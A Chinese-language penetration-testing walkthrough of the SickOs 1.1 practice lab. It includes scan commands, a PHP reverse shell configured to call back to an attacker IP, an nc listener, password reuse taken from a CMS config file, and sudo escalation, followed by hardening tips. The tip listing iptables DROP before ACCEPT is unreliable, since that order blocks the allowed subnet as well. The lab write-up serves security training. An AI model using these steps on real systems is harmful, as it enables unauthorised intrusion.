1. 靶机环境搭建与初始配置
SickOs 1.1 是一个专为网络安全学习设计的渗透测试靶机环境,基于Ubuntu系统构建。这个靶机模拟了真实世界中存在多个安全漏洞的Web服务器环境,特别适合练习从信息收集到提权的完整渗透流程。
1.1 环境准备要点
首先需要从Vulnhub官网下载靶机镜像(约500MB),解压后得到.ova文件。使用VMware或VirtualBox导入时需注意以下配置:
- 网络模式选择Host-only或NAT(确保与攻击机同网段)
- 内存分配建议1GB以上
- 硬盘空间保留默认8GB即可
提示:实际测试中遇到过导入后无法启动的情况,通常是虚拟化平台兼容性问题。解决方法是在虚拟机设置中勾选"启用EFI"选项。
1.2 网络拓扑验证
启动靶机后,在攻击机(如Kali Linux)上使用arp-scan验证连通性:
bash复制arp-scan -l --interface=eth0
正常应能看到类似输出:
code复制192.168.0.1 00:50:56:c0:00:08 VMware, Inc.
192.168.0.102 00:0c:29:0e:f1:d2 VMware, Inc.
这里192.168.0.102就是我们的目标IP。如果看不到目标IP,需要检查:
- 靶机是否正常启动(控制台有无报错)
- 网络配置是否正确(ifconfig查看靶机IP)
- 防火墙是否拦截(临时关闭iptables测试)
2. 深度信息收集技术
2.1 端口扫描进阶技巧
使用Nmap进行全端口扫描时,建议组合以下参数:
bash复制nmap -sV -T4 -p- -A --min-rate 1000 -oA sickos_scan 192.168.0.102
参数解析:
-sV:服务版本探测-T4:加速扫描(可能增加误报)-p-:全端口扫描(1-65535)-A:启用OS检测和脚本扫描--min-rate 1000:最小发包速率-oA:输出所有格式报告
扫描结果通常显示三个关键端口:
code复制22/tcp open ssh OpenSSH 5.9p1
3128/tcp open http Squid http proxy 3.1.19
8080/tcp closed http-proxy
2.2 Squid代理特性分析
3128端口运行的Squid 3.1.19是个关键突破口。这个版本存在多个已知漏洞:
- 缓冲区溢出漏洞(CVE-2016-4051)
- 缓存投毒漏洞(CVE-2016-4053)
- 请求走私漏洞(CVE-2020-11945)
实战中我们可以利用其作为跳板访问内网服务。配置浏览器代理为:
- 地址:192.168.0.102
- 端口:3128
此时访问http://192.168.0.102会显示Apache默认页,说明成功通过代理访问到80端口。
3. Web应用漏洞挖掘
3.1 目录爆破实战
由于需要走代理,传统工具如dirsearch可能失效。推荐两种解决方案:
方案一:使用Dirb指定代理
bash复制dirb http://192.168.0.102 -p http://192.168.0.102:3128 -w /usr/share/wordlists/dirb/common.txt
方案二:手动设置全局代理后使用Gobuster
bash复制export http_proxy=http://192.168.0.102:3128
gobuster dir -u http://192.168.0.102 -w /usr/share/wordlists/dirb/common.txt -x php,html
扫描结果中,/wolfcms目录尤为关键。访问该路径会发现Wolf CMS的登录页面,这是一个轻量级内容管理系统。
3.2 Wolf CMS漏洞利用
Wolf CMS 0.8.3.1及以下版本存在以下漏洞:
- 默认管理员凭证(admin/admin)
- 文件上传过滤不严
- PHP代码执行漏洞
通过信息收集发现后台地址:
code复制http://192.168.0.102/wolfcms/?/admin
使用弱密码admin/admin成功登录后,进入"Files"模块上传PHP webshell。
重要技巧:上传前需要修改/usr/share/webshells/php/php-reverse-shell.php中的连接参数:
php复制$ip = '192.168.0.5'; // 攻击机IP $port = 4444; // 监听端口
4. 系统提权完整过程
4.1 初始立足点建立
成功上传webshell后,在攻击机启动监听:
bash复制nc -lvnp 4444
访问webshell触发连接,获得www-data权限的shell。首先升级为交互式终端:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty raw -echo; fg
4.2 横向移动技巧
在/var/www/wolfcms/config.php中发现数据库凭据:
php复制define('DB_USER', 'root');
define('DB_PASS', 'john@123');
尝试密码复用:
bash复制su sickos
Password: john@123 # 成功
4.3 特权提升分析
检查sudo权限:
bash复制sudo -l
输出显示sickos用户可以无限制使用sudo:
code复制User sickos may run the following commands:
(ALL : ALL) ALL
直接提权:
bash复制sudo su -
在/root目录发现flag文件:
code复制cat a0216ea4d51874464078c618298b1367.txt
5. 防御加固建议
5.1 系统层面加固
- 更新所有软件包:
bash复制apt-get update && apt-get upgrade
- 修改默认密码策略
- 限制sudo权限:
bash复制visudo
# 将ALL权限改为具体命令
5.2 Web应用加固
- Wolf CMS安全措施:
- 删除默认管理员账户
- 更新到最新版本
- 限制文件上传类型
- Squid代理配置优化:
bash复制# 在squid.conf中添加:
acl localnet src 192.168.0.0/24
http_access deny !localnet
5.3 网络层防护
- 防火墙规则配置:
bash复制iptables -A INPUT -p tcp --dport 3128 -j DROP
iptables -A INPUT -s 192.168.0.0/24 -p tcp --dport 3128 -j ACCEPT
- SSH安全增强:
bash复制# 在sshd_config中修改:
PermitRootLogin no
PasswordAuthentication no
AllowUsers sickos
6. 渗透测试方法论总结
通过本靶机演练,可以总结出以下渗透测试流程:
- 信息收集阶段
- 网络扫描(arp-scan/nmap)
- 服务指纹识别
- 目录爆破
- 漏洞利用阶段
- 中间件漏洞利用(Squid)
- Web应用漏洞(Wolf CMS)
- 凭证复用攻击
- 后渗透阶段
- 权限维持(webshell)
- 横向移动(密码爆破)
- 特权提升(sudo滥用)
这个靶机涵盖了从外网渗透到内网横向移动的完整攻击链,非常适合用来练习基础的渗透测试技能。在实际工作中,每个步骤都需要更细致的操作和更多的备用方案。